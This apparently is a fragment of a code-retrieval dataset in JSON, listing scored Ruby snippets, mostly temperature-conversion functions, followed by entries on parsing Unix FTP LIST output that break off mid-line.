"text": "def convertToCelsius\n\n #convert from fahrenheit to celsius\n @temperature = toCelsius(@temperature)\n @feelsLike = toCelsius(@feelsLike)\n @low = toCelsius(@low)\n @high = toCelsius(@high)\n\n #reconstruct the output.\n @tempLine = @temperature.to_s + \"˚C\" + @condition\n @summary = \"Feels Like: \" + @feelsLike.to_s + \"˚C\" + \"\\n\" +\n \"Low: \" + @low.to_s + \"˚C\" + \" High: \" + @high.to_s + \"˚C\"\n\n end",
"title": ""
},
{
"docid": "f67af3b3caf9d738a83cbcd732717ee9",
"score": "0.67177135",
"text": "def convert(temperature_in_fahrenheit)\n (temperature_in_fahrenheit - 32.00) * 5 / 9\nend",
"title": ""
},
{
"docid": "421093b2de198d1b5e20d0e842e38a56",
"score": "0.6699756",
"text": "def convertK()\n\t\tif scale == 'F' || scale == 'f'\n\t\t\tnewDegree = (degrees.to_f - 32.0) * (5.0/9.0) + 273.15\n\t\telsif scale == 'C' || scale == 'c'\n\t\t\tnewDegree = (degrees.to_f + 273.15)\n\t\telse\n\t\t\tnewDegree = degrees.to_f\n\t\tend\n\t\tnewTemp = Temperature.new(newDegree,'K')\t\t\n\tend",
"title": ""
},
{
"docid": "12c5cd77c006b7e10f527798fcd61b04",
"score": "0.6670791",
"text": "def internal_temperature(unit = :c)\n convert_temperature((@fields[9].to_i / 10.0), unit)\n end",
"title": ""
},
{
"docid": "a50c7c21a7f33cacff7815d05ff2f254",
"score": "0.66661555",
"text": "def convert_to_celsius(temperature)\n 5 * (temperature - 32)/9\nend",
"title": ""
},
{
"docid": "e4cc44cdea9718ae5b9c05ef59a47926",
"score": "0.6660566",
"text": "def getInC()\r\n if @myScale == 'C' or @myScale == 'c'\r\n return self\r\n else\r\n degreeC = 0.0\r\n if @myScale == 'F' or @myScale == 'f'\r\n degreeC = (5.0/9.0) * (@myDegree - 32.0)\r\n else\r\n degreeC = @myDegree - 273.15;\r\n end\r\n myTemp = Temperature.new(degreeC, 'C')\r\n return myTemp\r\n end\r\n end",
"title": ""
},
{
"docid": "ea6dc0dd9c07c0e244c54b7fb950db87",
"score": "0.6553068",
"text": "def convert_fahrenheit_to_celsius(temperature=0)\n (temperature - 32) * (5.0 / 9)\nend",
"title": ""
},
{
"docid": "2a69c21fe0f1fadb4943ccd9cb255dbd",
"score": "0.6538921",
"text": "def getFahrenheit()\r\n if scale =~ /f/ then\r\n Temperature.new(@degrees, @scale)\r\n elsif scale =~ /c/ then\r\n Temperature.new(@degrees * (9.0/5) + 32, \"f\")\r\n else\r\n Temperature.new((@degrees + 273.15) * (9.0/5) + 32, \"f\")\r\n end\r\n end",
"title": ""
},
{
"docid": "4fba9af264bd797f5ff8e5ce5b6bf835",
"score": "0.65106916",
"text": "def toCelsius(tempF)\n tempC = (tempF-32) * 5 / 9\n tempC\n end",
"title": ""
},
{
"docid": "fbdedaf74ccda11c33a5d087380ab364",
"score": "0.64977235",
"text": "def convertCelsius\n case self.myScale\n when 'K'\n self.myDegrees = (self.myDegrees - 273.15)\n self.myScale = 'C'\n when 'F'\n self.myDegrees = ((self.myDegrees - 32.0) * (5.0/9.0))\n self.myScale = 'C'\n end\n end",
"title": ""
},
{
"docid": "bfd26d4c174a7a0760f89e298ef6a0ba",
"score": "0.6492319",
"text": "def convert(temp, unity)\n case unity\n when 'C', 'c'\n converted_temp = 1.8 * temp + 32\n when 'F', 'f'\n converted_temp = (5.0 / 9.0) * (temp - 32)\n else\n abort 'Must specify C for Celsius or F to Fahrenheit!'\n end\n\n converted_temp\n end",
"title": ""
},
{
"docid": "9b225139aa49b8dabf8b951476a20cf1",
"score": "0.6489265",
"text": "def convert_temp(temp, input_scale:, output_scale: 'Celsius')\n case input_scale.downcase\n when 'fahrenheit'\n output_scale == 'kelvin' ?\n ((temp - 32) / 1.8) + 273.15 : (temp - 32) / 1.8\n when 'celsius'\n output_scale == 'kelvin' ?\n temp + 273.15 : (temp * 1.8) + 32\n when 'kelvin'\n output_scale == 'celsius' ?\n temp - 273.15 : (temp - 273.15) * 1.8\n end\nend",
"title": ""
},
{
"docid": "da873c25be795731cbc13904b60a331c",
"score": "0.6483276",
"text": "def convert_kelvin_to_celcius(temp_in_kelvin)\n return (temp_in_kelvin.to_f - 273.15)\nend",
"title": ""
},
{
"docid": "bafcfbb98f72f11124087dba76b3c925",
"score": "0.6479739",
"text": "def convert_temp(temp, input_scale:, output_scale: 'Celsius')\n case input_scale.downcase\n when 'fahrenheit'\n return output_scale == 'kelvin' ?\n ((temp - 32) / 1.8) + 273.15 : (temp - 32) / 1.8\n when 'celsius'\n return output_scale == 'kelvin' ?\n temp + 273.15 : (temp * 1.8) + 32\n when 'kelvin'\n return output_scale == 'celsius' ?\n temp - 273.15 : (temp - 273.15) * 1.8\n end\nend",
"title": ""
},
{
"docid": "37f9b554d4da4655ccb92ecc7dfc1a33",
"score": "0.6451366",
"text": "def get_fahrenheit \n (@temperature - 273.15) * 1.8 + 32\n end",
"title": ""
},
{
"docid": "d16d4ed379c9a262de00ec873b37ba1e",
"score": "0.6434075",
"text": "def current_temp\n\n temperature = @weather_instance[\"current_observation\"][\"temperature_string\"]\n\n return temperature\n\n end",
"title": ""
},
{
"docid": "d704d31ec4efe5b84edea893c78fca6d",
"score": "0.64333",
"text": "def temperatures\n # These magic numbers come from the phidget documentation\n collect_type(:temperature){ |i| sensor(i).to_f * 0.22222 - 61.111 if sensor(i) > 0}\n end",
"title": ""
},
{
"docid": "9390bd384615b4321dc8762f59ebfa08",
"score": "0.6415117",
"text": "def temperature\n\n # get base temperature and random temperature swing value;\n # swing value will have a .5% value \n # @note we are assuming month is a symbol - we may want\n # to do an explicit check here\n base = self['average_temperature'][self.time.current_season.to_s].to_i\n swing = rand <= 0.005 ? [*0..15].sample.to_f : [*0..5].sample.to_f\n\n # calculate and return \n base + ( swing / base * [ -1, 1 ].sample ) \n end",
"title": ""
},
{
"docid": "79284de39e8817bc0d3f8226677cb61c",
"score": "0.6383787",
"text": "def to_therm_us(**options) = convert_to('therm-us', **options)",
"title": ""
},
{
"docid": "b5333cfefb6c8b7e252f80dbe3f1a1a9",
"score": "0.63800544",
"text": "def convert_temp(temp, input_scale:, output_scale: 'Celsius')\n case input_scale.downcase\n when 'fahrenheit'\n output_scale == 'celsius' ? \n (temp - 32) / 1.8 : ((temp - 32) / 1.8) + 273.15 \n when 'celsius'\n output_scale == 'fahrenheit' ? \n (temp * 1.8) + 32 : temp + 273.15\n when 'kelvin'\n output_scale == 'fahrenheit' ? \n (temp - 273.15) * 1.8 : temp - 273.15\n end\nend",
"title": ""
},
{
"docid": "3aaadcc30e1f44ba44fe013484c4a78e",
"score": "0.63797283",
"text": "def convert_F(kelvin_temp)\n celcius = kelvin_temp - 273.15\n farenheit = (celcius * 1.8) + 32\n return farenheit\n end",
"title": ""
},
{
"docid": "813c0a110391b920e69a8fb9db61da2b",
"score": "0.63787484",
"text": "def temperature\n today_date=Date.today\n today_temperature=self.weatherforecasts.find_by(date: today_date).temperature\n today_temperature\n end",
"title": ""
},
{
"docid": "d8e33e80066bb6fe398088a5739d478d",
"score": "0.6375774",
"text": "def convert_from_celsius(temperature, to)\n case to\n when \"fahrenheit\", \"f\", \"fah\"\n temperature * (9.0 / 5) + 32\n when \"kelvin\", \"k\", \"kel\"\n temperature + 273.15\n when \"rankine\", \"r\", \"ran\"\n (temperature + 491.67) * (9.0 / 5)\n when \"celsius\", \"c\", \"cel\"\n temperature\n end\nend",
"title": ""
},
{
"docid": "b7abf260d5403a7812179917c9ffba94",
"score": "0.63636965",
"text": "def convert_temp (starting_temp, temp_unit)\n if temp_unit == \"f\"\n puts \"farenheit: #{starting_temp}\"\n puts \"Celcius: #{(starting_temp - 32 / 1.8)}\"\n puts \"Kelvin: #{(starting_temp + 459.67 / 1.8)}\"\n elsif temp_unit == \"C\"\n puts \"Celcius: #{(starting_temp)}\"\n puts \"farenheit: #{(starting_temp * 1.8 + 32)}\"\n puts \"Kelvin: #{(starting_temp + 273.15)}\"\n elsif temp_unit == \"K\"\n puts \"Kelvin: #{(starting_temp)}\"\n puts \"farenheit #{(starting_temp * 1.8 - 459.67)}\"\n puts \"Celcius: #{(starting_temp - 273.15)}\"\n else\n puts \"Please enter an appropriate temperature!\"\n end\nend",
"title": ""
},
{
"docid": "d498a6004d3e409985959c62b7bf29b2",
"score": "0.63587576",
"text": "def temperature\n coordinates = get_coordinates(@my_airport_code)\n current_temp = get_current_temperature(coordinates.first, coordinates.last)\n return current_temp.to_i\n end",
"title": ""
},
{
"docid": "0ba87597c8a4b6cde1ad0c4b4a9e6932",
"score": "0.63562447",
"text": "def convert_C_to_F(temperature)\n (temperature - 32.0) * 5 / 9\nend",
"title": ""
},
{
"docid": "f9a8f0feeccdcd5cf480779b2f623451",
"score": "0.6349928",
"text": "def get_temperature_in_celsius(temperature)\n\tcelsius = (5.0 * (temperature - 32)) / 9\nend",
"title": ""
},
{
"docid": "b5b5ecc3dc2cb59ec8d23f7836ca0952",
"score": "0.63476044",
"text": "def external_temperature(unit = :c)\n convert_temperature((@fields[10].to_i / 10.0), unit)\n end",
"title": ""
},
{
"docid": "e20d7bfb068748fa588254aece287135",
"score": "0.633612",
"text": "def current_temperature\n\t\tcurrent_status = status\n\t\ttemp_out(current_status['shared'][@serial]['current_temperature'])\n\tend",
"title": ""
},
{
"docid": "2d5ac10b3d3fd60a467cfa718b59fd6a",
"score": "0.6334341",
"text": "def convert_temp(temperature, input_scale:, output_scale: 'celsius')\n fahrenheit_to_celsius = lambda { |f| (f - 32.0) * 5.0/9.0 }\n celsius_to_fahrenheit = lambda { |c| (c * 9.0/5.0) + 32.0 }\n celsius_to_kelvin = lambda { |c| c + 273.15 }\n kelvin_to_celsius = lambda { |k| k - 273.15 }\n case input_scale.downcase\n when 'fahrenheit'\n case output_scale.downcase\n when 'fahrenheit'\n return temperature.round(2)\n when 'celsius'\n return fahrenheit_to_celsius.call(temperature).round(2)\n when 'kelvin'\n return celsius_to_kelvin.call(fahrenheit_to_celsius.call(temperature)).round(2)\n else\n puts \"Unknown output_scale '#{output_scale}'\"\n end\n when 'celsius'\n case output_scale.downcase\n when 'fahrenheit'\n return celsius_to_fahrenheit.call(temperature).round(2)\n when 'celsius'\n return temperature.round(2)\n when 'kelvin'\n return celsius_to_kelvin.call(temperature).round(2)\n else\n puts \"Unknown output_scale '#{output_scale}'\"\n end\n when 'kelvin'\n case output_scale.downcase\n when 'fahrenheit'\n return celsius_to_fahrenheit.call(kelvin_to_celsius.call(temperature)).round(2)\n when 'celsius'\n return kelvin_to_celsius.call(temperature).round(2)\n when 'kelvin'\n return temperature.round(2)\n else\n puts \"Unknown output_scale '#{output_scale}'\"\n end\n else\n puts \"Unknown input_scale '#{input_scale}'\"\n end\nend",
"title": ""
},
{
"docid": "071eb43c5cd66a56c4f4824008caf90d",
"score": "0.63228196",
"text": "def temperature_scale\n return nil unless self.is_temperature?\n self.units =~ /temp([CFRK])/\n \"deg#{$1}\"\n end",
"title": ""
},
{
"docid": "52b4d9a8a77085ac39d8983515df33b4",
"score": "0.631455",
"text": "def convert_fahrenheit_to_celsius (temperaturef)\n tempc = ((temperaturef.to_i - 32) * 5/9)\n puts \"The temperature in celsius is #{tempc}\"\n end",
"title": ""
},
{
"docid": "52241a19dc5de69b01875647f3290615",
"score": "0.6310852",
"text": "def frh_temp_to_cel(temp)\n cel = (temp.to_i - 32) * 5 / 9\n \"Today's temperature in Celcius is #{cel}\"\nend",
"title": ""
},
{
"docid": "276475b133b628e28ea5e7a4659dea91",
"score": "0.6310527",
"text": "def calc_temperature(lower, upper)\n #puts \"upper: #{upper}, lower: #{lower}\"\n upperPart = upper.hex << 8\n lowerPart = lower.hex & 255\n total = upperPart | lowerPart\n return (total >> 2) + create_float(total)\nend",
"title": ""
},
{
"docid": "d791a4532dfd48350db65e57ee7382f3",
"score": "0.6308721",
"text": "def temperature(ohms)\n\t return (sqrt((@a.to_f**2.0) - 4.0 * @b.to_f * (1 - (ohms.to_f/100.0))) - @a.to_f) / (2 * @b.to_f)\n\tend",
"title": ""
},
{
"docid": "0d58a1587047782ac27291eb62834ec2",
"score": "0.6301049",
"text": "def temperatures\n # These magic numbers come from the phidget documentation\n collect_type(:temperature){ |i| sensor(i).to_f * 0.22222 - 61.111 if sensor(i) > 0}\n end",
"title": ""
},
{
"docid": "d29f51071604c7aa4da8cf6e2a73c741",
"score": "0.62931484",
"text": "def ftoc(temperature)\n\t#\"On entre dans la fonction ftoc\"\n\tcelsius = ((temperature - 32) / 1.8).round(2)\n\nend",
"title": ""
},
{
"docid": "cb32a05b3aaaf70d3eb3b3071b88ec7f",
"score": "0.62740964",
"text": "def conversion(fahrenheit)\n celsius = (fahrenheit - 32) * 0.5556\nend",
"title": ""
},
{
"docid": "7eb44a11ebef59b43d99873cccf993b8",
"score": "0.6272283",
"text": "def take_reading_with_temperature_compensation(temperature)\n rt(temperature.to_s).to_f\n end",
"title": ""
},
{
"docid": "b730c217fd1fb5a79e835e875e175f9a",
"score": "0.6261439",
"text": "def convert(temp_value,conversion_type)\n if conversion_type.to_s == \"FTC\"\n 5.0/9.0*(temp_value.to_f - 32)\n elsif converstion_type.to_s == \"CTF\"\n 9.0/5.0*(temp_value.to_f) + 32\n end\nend",
"title": ""
},
{
"docid": "5f071ab2fd4d369c7513dbfb88bcc3ce",
"score": "0.62330705",
"text": "def initialize(**temp_unity)\n raise StandardError, \"It's only possible to convert one temperature at a time\" if temp_unity.length > 1\n\n temp_unity.each do |temp, unity|\n # regex must operates over string, if a number (Integer or Float) is passed will bring up unexpect evaluation\n raise StandardError, \"#{temp} is not a valid number.\" if temp.to_s !~ /-?\\d+/\n\n # same as /^(|C|c|F|f)$/ but more elegant\n if unity !~ /^[CcFf]$/\n raise StandardError, \"#{unity} is not acceptable units for temperature\"\n end\n\n # Cast is needed to allow pass Symbol in the hash parameter\n @temp = temp.to_s.to_f\n @unity = unity\n end\n\n @converted_temp = convert(@temp, @unity)\n\n rescue StandardError => e\n puts e.message\n exit\n end",
"title": ""
},
{
"docid": "3239c0310f614670d404c65cedf9002e",
"score": "0.62316793",
"text": "def getTemperature(temp_data)\n\tif (temp_data.class == String)\n\t\tbinary_temp = ascii_to_binary(temp_data)\t# converts ASCII to binary\n\n\t\tsignal = 1\t\t\t\t\t\t\t\t\t# defines if temperature is + or -\n\t\tif (binary_temp[0] == \"1\")\t\t\t\t\t# \"0\" = positive | \"1\" = negative\n\t\t\tsignal = -1\n\t\tend\n\n\t\tdecimal_part = 0\t\t\t\t\t\t\t# gets decimal part\n\t\tif (binary_temp[7] == \"1\")\t\t\t\t\t# \"0\" = 0 | \"1\" = 0.5 °C\n\t\t\tdecimal_part = 0.5\n\t\tend\n\n\t\tbinary_temp.slice!(0)\t\t\t\t\t\t# removes signal data\n\t\tbinary_temp.chop!\t\t\t\t\t\t\t# removes decimal data\n\t\t\n\t\treturn ( (binary_to_decimal(binary_temp) + decimal_part) * signal )\n\n\telse\n\t\treturn -1\n\tend\nend",
"title": ""
},
{
"docid": "962cf296f3f97fdc4b4c3d487b8306da",
"score": "0.6222582",
"text": "def new_temperature(f)\n\tc = (f - 32) * 5/9 # c is user input carried through new_temp method.\nend",
"title": ""
},
{
"docid": "06d706d41f8bb90ff3c24fcd30b01bb5",
"score": "0.62218416",
"text": "def convert\n (@temp * 1.8 + 32).round.to_s + \" degrees F\"\n end",
"title": ""
},
{
"docid": "184d2bb6b1b05a893ca1128368e909c3",
"score": "0.6216305",
"text": "def convert_temp(temp, conversion_type)\n if conversion_type == \"C\"\n (temp - 32) * 5 / 9\n elsif conversion_type == \"F\"\n (temp * 9 / 5) + 32\n else\n 0101\n end\nend",
"title": ""
},
{
"docid": "d2d6647d5e6bf5250035d4fcdbd76405",
"score": "0.62081623",
"text": "def to(other)\n return self if other.nil? \n return self if TrueClass === other\n return self if FalseClass === other\n if (Unit === other && other.is_temperature?) || (String === other && other =~ /temp[CFRK]/) \n raise ArgumentError, \"Receiver is not a temperature unit\" unless self.degree?\n start_unit = self.units\n target_unit = other.units rescue other\n unless @base_scalar\n @base_scalar = case start_unit\n when 'tempC'\n @scalar + 273.15\n when 'tempK'\n @scalar\n when 'tempF'\n (@scalar+459.67)*Rational(5,9)\n when 'tempR'\n @scalar*Rational(5,9)\n end\n end\n q= case target_unit\n when 'tempC'\n @base_scalar - 273.15\n when 'tempK'\n @base_scalar \n when 'tempF'\n @base_scalar * Rational(9,5) - 459.67\n when 'tempR'\n @base_scalar * Rational(9,5)\n end\n Unit.new(\"#{q} #{target_unit}\")\n else\n case other\n when Unit\n return self if other.units == self.units\n target = other\n when String\n target = Unit.new(other)\n else\n raise ArgumentError, \"Unknown target units\"\n end\n raise ArgumentError, \"Incompatible Units\" unless self =~ target\n _numerator1 = @numerator.map {|x| @@PREFIX_VALUES[x] ? @@PREFIX_VALUES[x] : x}.map {|i| i.kind_of?(Numeric) ? i : @@UNIT_VALUES[i][:scalar] }.compact\n _denominator1 = @denominator.map {|x| @@PREFIX_VALUES[x] ? @@PREFIX_VALUES[x] : x}.map {|i| i.kind_of?(Numeric) ? i : @@UNIT_VALUES[i][:scalar] }.compact\n _numerator2 = target.numerator.map {|x| @@PREFIX_VALUES[x] ? @@PREFIX_VALUES[x] : x}.map {|x| x.kind_of?(Numeric) ? x : @@UNIT_VALUES[x][:scalar] }.compact\n _denominator2 = target.denominator.map {|x| @@PREFIX_VALUES[x] ? @@PREFIX_VALUES[x] : x}.map {|x| x.kind_of?(Numeric) ? x : @@UNIT_VALUES[x][:scalar] }.compact\n \n # eliminate common terms\n \n (_numerator1 & _denominator2).each do |common|\n _numerator1.delete(common)\n _denominator2.delete(common)\n end\n \n (_numerator2 & _denominator1).each do |common|\n _numerator1.delete(common)\n _denominator2.delete(common)\n end\n \n q = @scalar * ( (_numerator1 + _denominator2).inject(1) {|product,n| product*n} ) / \n ( (_numerator2 + _denominator1).inject(1) {|product,n| product*n} ) \n \n \n Unit.new(:scalar=>q, :numerator=>target.numerator, :denominator=>target.denominator, :signature => target.signature)\n end\n end",
"title": ""
},
{
"docid": "cf19db29289871090e4e611c2605d84c",
"score": "0.6161352",
"text": "def toCelsius(fahrenheit)\r\n return ((fahrenheit-32)*5.0/9.0).round\r\nend",
"title": ""
},
{
"docid": "3ade2ebb64ce35773e32def9db2650b5",
"score": "0.61547977",
"text": "def convert_to_celsius(temperature=0, from=\"fahrenheit\")\n case from\n when \"fahrenheit\", \"f\", \"fah\"\n (temperature - 32) * (5.0 / 9)\n when \"kelvin\", \"k\", \"kel\"\n temperature - 273.15\n when \"rankine\", \"r\", \"ran\"\n (temperature - 491.67) * (5.0 / 9)\n when \"celsius\", \"c\", \"cel\"\n temperature\n end\nend",
"title": ""
},
{
"docid": "5224bdf40def352f406f39faf01f8ea8",
"score": "0.6129711",
"text": "def to_celcius(temperature)\n return temperature - 273.15\n end",
"title": ""
},
{
"docid": "63eef877fc47926021e9c997a7338e51",
"score": "0.60978746",
"text": "def temp_out(temp)\n\t\tif @options[:units] == \"F\"\n\t\t\t((temp * 1.8) + 32.0).round\n\t\telse\n\t\t\ttemp\n\t\tend\n\tend",
"title": ""
},
{
"docid": "ac1dd548a003601a870271760230b73f",
"score": "0.6095672",
"text": "def ctof temperature_input\n\tcelsius = 0\n\tcelsius = temperature_input * (9.0/5.0) + 32\n\treturn celsius\nend",
"title": ""
},
{
"docid": "e1332b5f7e86da0cc2d909826beb1d14",
"score": "0.60818774",
"text": "def initialize(temp)\n @temp = initial_convert_to_f(temp)\n end",
"title": ""
},
{
"docid": "af8bfbc060f892c45ba563726e07802e",
"score": "0.6081109",
"text": "def convertToFahrenheit\n @tempLine = @temperature.to_s + \"˚F\" + @condition\n @summary = \"Feels Like: \" + @feelsLike.to_s + \"˚F\" + \"\\n\" +\n \"Low: \" + @low.to_s + \"˚F\" + \" High: \" + @high.to_s + \"˚F\"\n end",
"title": ""
},
{
"docid": "d82a84e8144ded44b5ffe4d0c54d8ebb",
"score": "0.60687095",
"text": "def select_brew_temperature(temp)\n\n end",
"title": ""
},
{
"docid": "d82a84e8144ded44b5ffe4d0c54d8ebb",
"score": "0.60687095",
"text": "def select_brew_temperature(temp)\n\n end",
"title": ""
},
{
"docid": "4cda5db71c2153fb8de7eeae4b06480e",
"score": "0.60629016",
"text": "def set_temperature(temperature)\n # return instance variable to parameter temperature\n @temperature = temperature\n # end method \n end",
"title": ""
},
{
"docid": "c2e959e6a109fee2336b3a410ba1736a",
"score": "0.6047265",
"text": "def temperature_scale\n return nil unless temperature?\n\n \"deg#{self.class.unit_map[units][/temp([CFRK])/, 1]}\"\n end",
"title": ""
},
{
"docid": "9144ea5c9438561b52ab1d2689be6c02",
"score": "0.6045589",
"text": "def temp_converter(input_type, temp)\n\n input = input_type.upcase\n if input == \"C\"\n # F=(9/5)C +32\n ((9 * temp)/5) + 32\n elsif input == \"F\"\n # C = (5/9) * (F -32)\n (5 * (temp - 32))/9\n else\n puts \"Invalid temperature type passed. Temp return set to ZERO. Must be 'C' or 'F'\"\n return 0\n end\n\nend",
"title": ""
},
{
"docid": "55f6d812e82dab82eef2cde8d526fe55",
"score": "0.6041399",
"text": "def toCelsius(fahrenheit)\n return ((fahrenheit-32)*5.0/9.0).round\nend",
"title": ""
},
{
"docid": "db93969ba6356f676fe30be05889e5b0",
"score": "0.60368496",
"text": "def farenheit_to_celsius(temp_f)\n celcius = ((temp_f - 32.0) * 5.0)/9.0\n return celcius.round(2)\nend",
"title": ""
},
{
"docid": "ad0043ff283f90e5d17b4429adefa9f8",
"score": "0.60264754",
"text": "def toFahrenheit()\n case @myScale\n when 'F', 'f'\n # Already in Fahrenheit\n return self\n when 'C', 'c'\n newDeg = ((9.0/5.0) * @myDegree) + 32.0\n return Temperature.new(newDeg, 'F')\n when 'K', 'k'\n newDeg = ((@myDegree - 273.15) * (9.0/5.0)) + 32.0\n return Temperature.new(newDeg, 'F')\n else\n puts \"Invalid temperature scale [toF]\"\n return false\n end #case\n end",
"title": ""
},
{
"docid": "20016b081418b4673e9993c85fc0fc1b",
"score": "0.6024617",
"text": "def inputTemperature(s)\r\n @scale = s[s.length - 1]\r\n @degrees = s[0..s.length - 2].to_f\r\n end",
"title": ""
},
{
"docid": "ea996afa3a48ae8c985cb3172e6b2e5a",
"score": "0.6023301",
"text": "def temp_convert_c_to_f(temp)\n\tfahrenheit = ((temp * 9) / 5) + 32\n\treturn fahrenheit\nend",
"title": ""
},
{
"docid": "1894edf2e702558aeb6096f33b400d2f",
"score": "0.6021224",
"text": "def my_temperature\n weather = my_weather\n temps = {\n 'current' => kelvin_to_celcius(weather['main']['temp']),\n 'low' => kelvin_to_celcius(weather['main']['temp_min']),\n 'high' => kelvin_to_celcius(weather['main']['temp_max'])\n }\n \"Temperatures today:\\n#{temps.to_yaml}\"\nend",
"title": ""
},
{
"docid": "8f9183bd1776e65db19bf085cb768975",
"score": "0.6011666",
"text": "def inputTemperature(s)\n @scale = s[s.length - 1]\n @degrees = s[0..s.length - 2].to_f\n end",
"title": ""
},
{
"docid": "3b477a77951c81b970feaa59f407d6d6",
"score": "0.6001773",
"text": "def getInK()\r\n if @myScale == 'K' or @myScale == 'k'\r\n return self\r\n else\r\n degreeK = 0.0\r\n if @myScale == 'F' or @myScale == 'f'\r\n degreeK = (5.0/9.0) * (@myDegree + 459.67);\r\n else\r\n degreeK = @myDegree + 273.15;\r\n end\r\n myTemp = Temperature.new(degreeK, 'K')\r\n return myTemp\r\n end\r\n end",
"title": ""
},
{
"docid": "f86bca997c81b348af8925b51ed7759c",
"score": "0.59920347",
"text": "def get_temperature_in_fahrenheit(temperature)\n\treturn (((9.0 * temperature) / 5) + 32)\nend",
"title": ""
},
{
"docid": "a6c9f35e48994d09c8608a2e45a39ff3",
"score": "0.59919506",
"text": "def displayTemperature()\n print '%.5f' % @myDegree + \" \" + @myScale + \"\\t\"\n end",
"title": ""
},
{
"docid": "09c19630a9f118b289f8929e46c8532c",
"score": "0.5986327",
"text": "def toKelvin()\n case @myScale\n when 'F', 'f'\n newDeg = ((@myDegree - 32) * (5.0 / 9.0)) + 273.15\n return Temperature.new(newDeg, 'K')\n when 'C', 'c'\n newDeg = @myDegree + 273.15\n return Temperature.new(newDeg, 'K')\n when 'K', 'k'\n # Already in Kevlin\n return self\n else\n puts \"Invalid temperature [toK]\"\n return false\n end #case\n end",
"title": ""
},
{
"docid": "145e32cfebc51416c55958bc4a4b9586",
"score": "0.5974816",
"text": "def ftoc(temp)\n celsius = (temp - 32) * 5.0/9.0 \nend",
"title": ""
},
{
"docid": "6a5c36362f07b98064b79632bb4dd1ab",
"score": "0.5970437",
"text": "def getKelvin()\r\n if scale =~ /f/ then\r\n Temperature.new((@degrees-32)*(5.0/9)+273.15, \"k\")\r\n elsif scale =~ /c/ then\r\n Temperature.new(@degrees + 273.15, \"k\")\r\n else\r\n Temperature.new(@degrees, @scale) \r\n end\r\n end",
"title": ""
},
{
"docid": "485afa7b50777ec9edc9269861382630",
"score": "0.5950695",
"text": "def report\n \"the temperature is #{@temp_in_c} Celsius or #{self.to_fahrenheit} Fahrenheit\"\nend",
"title": ""
},
{
"docid": "a6fde02900ab9a4ab5e737a3cae4afd9",
"score": "0.59428024",
"text": "def select_brew_temperature(temp)\n end",
"title": ""
},
{
"docid": "5c7a05f82ff7d3045772978bce0c9191",
"score": "0.5942476",
"text": "def far_to_cel(temp)\n#write your code here\nend",
"title": ""
},
{
"docid": "a06b2acc946db01bf7c45b847ec74118",
"score": "0.59393513",
"text": "def ==( temperature)\n if temperature.myScale != self.myScale\n case self.myScale\n when 'K'\n temperature.convertKelvin\n when 'C'\n temperature.convertCelsius\n when 'F'\n temperature.convertFahrenheit\n end\n end\n \n if self.myDegrees == temperature.myDegrees\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "11e2b78c48bd7368b10b246a8aff4d29",
"score": "0.59374434",
"text": "def select_brew_temperature(temp) \n \n end",
"title": ""
}
] |
9315ed6f9b3fcab36a23b1bc86fe1225
|
Parse a Unix like FTP LIST entries.
|
[
{
"docid": "3585f9888d0000fb50b3472d4c35859c",
"score": "0.57228476",
"text": "def initialize(raw)\n super(raw)\n match = REGEXP.match(raw.strip) or raise ParserError, \"Unix: regexp exception #{raw}\"\n\n case match[1]\n when /d/ then @dir = true\n when /l/ then @symlink = true\n when /[f-]/ then @file = true\n when /[bc]/ then # Do nothing with devices for now.\n else raise ParserError, 'Unix: Unknown LIST entry type.'\n end\n\n # TODO: Permissions, users, groups, date/time.\n\n @file_size = match[18]\n\n if match[20].include? ':'\n @file_datetime = parse_datetime(match[19] + \",#{Time.now.year} \" + match[20])\n else\n @file_datetime = parse_datetime(match[19] + ',' + match[20])\n end\n\n @basename = match[21].strip\n\n # filenames with spaces will end up in the last match\n @basename += match[22] unless match[22].nil?\n\n # strip the symlink stuff we don't care about\n @basename.sub!(/\\s+\\->.+$/, '') if @symlink\n end",
"title": ""
}
] |
[
{
"docid": "e9ee721bc293f78e9b2520d65f622c0e",
"score": "0.6224633",
"text": "def parse_list; end",
"title": ""
},
{
"docid": "e9ee721bc293f78e9b2520d65f622c0e",
"score": "0.6224633",
"text": "def parse_list; end",
"title": ""
},
{
"docid": "30390736a0085270274cdfe1746f24fa",
"score": "0.6030267",
"text": "def parse_list_server_lines(lines)\n result = Array.new\n lines.each do |l|\n result << l.split(\"-\")[0].strip\n end\n return result\n end",
"title": ""
},
{
"docid": "7735ef83921fb189011b950e932a582b",
"score": "0.6013674",
"text": "def parse_list(path, files)\n list_name = path.basename\n dir = path.dirname\n line_number = 0\n path.open('r') do |f|\n while (line = f.gets)\n line_number += 1\n # Strip the leading and trailing whitespace for sloppy typers\n line.strip!\n # Skip a blank line\n next if line.match(/^\\s+$/)\n # Check if the pattern or list exists\n line_path = Pathname.new(\"#{dir}/#{line}\")\n unless line_path.file?\n # puts \"Skipping #{line_path.to_s} at line ##{line_number} in file #{path.to_s} because it is not a file\"\n next\n end\n # Process the file\n process_file(line_path, files)\n end\n end\n end",
"title": ""
},
{
"docid": "2c085638bed5535819fbbc5861eace86",
"score": "0.59576863",
"text": "def parse_list(user, listfile)\n #match only first found line, there should be no duplicates; also, case insensitive SHOULD be ok.\n line=File.readlines(listfile).select { |line| line =~ /#{user}/i }[0]\n val=line.split(':')\n return val[6].strip, val[1], val[2].strip, home \nend",
"title": ""
},
{
"docid": "af1af4eb2dcbade797caca03fda81d27",
"score": "0.5751829",
"text": "def get_list_of(ftp, parent_path = nil, parent_id = nil)\n ic = Iconv.new('UTF-8', ftp_encoding) if force_utf8\n ic_reverse = Iconv.new(ftp_encoding, 'UTF-8') if force_utf8\n\n retries_count = 0\n begin\n entry_list = parent_path ? ftp.list(parent_path) : ftp.list\n rescue => detail\n retries_count += 1\n @logger.error(\"Ftp LIST exception: \" + detail.class.to_s + \" detail: \" + detail.to_s)\n @logger.error(\"Retrying get ftp list #{retries_count}/#{@max_retries}\")\n raise if (retries_count >= @max_retries)\n \n reconnect_retries_count = 0\n begin\n ftp.close if (ftp && !ftp.closed?)\n @logger.error(\"Wait 30s before reconnect\")\n sleep(30)\n ftp.connect(host)\n ftp.login(login, password)\n ftp.passive = true\n rescue => detail2\n reconnect_retries_count += 1\n @logger.error(\"Reconnect ftp failed, exception: \" + detail2.class.to_s + \" detail: \" + detail2.to_s)\n @logger.error(\"Retrying reconnect #{reconnect_retries_count}/#{@max_retries}\")\n raise if (reconnect_retries_count >= @max_retries)\n retry\n end\n \n @logger.error(\"Ftp reconnected!\")\n retry\n end\n\n entry_list.each do |e|\n # Some ftp will send 'total nn' string in LIST command\n # We should ignore this line\n next if /^total/.match(e)\n\nputs \"#{@entry_count} 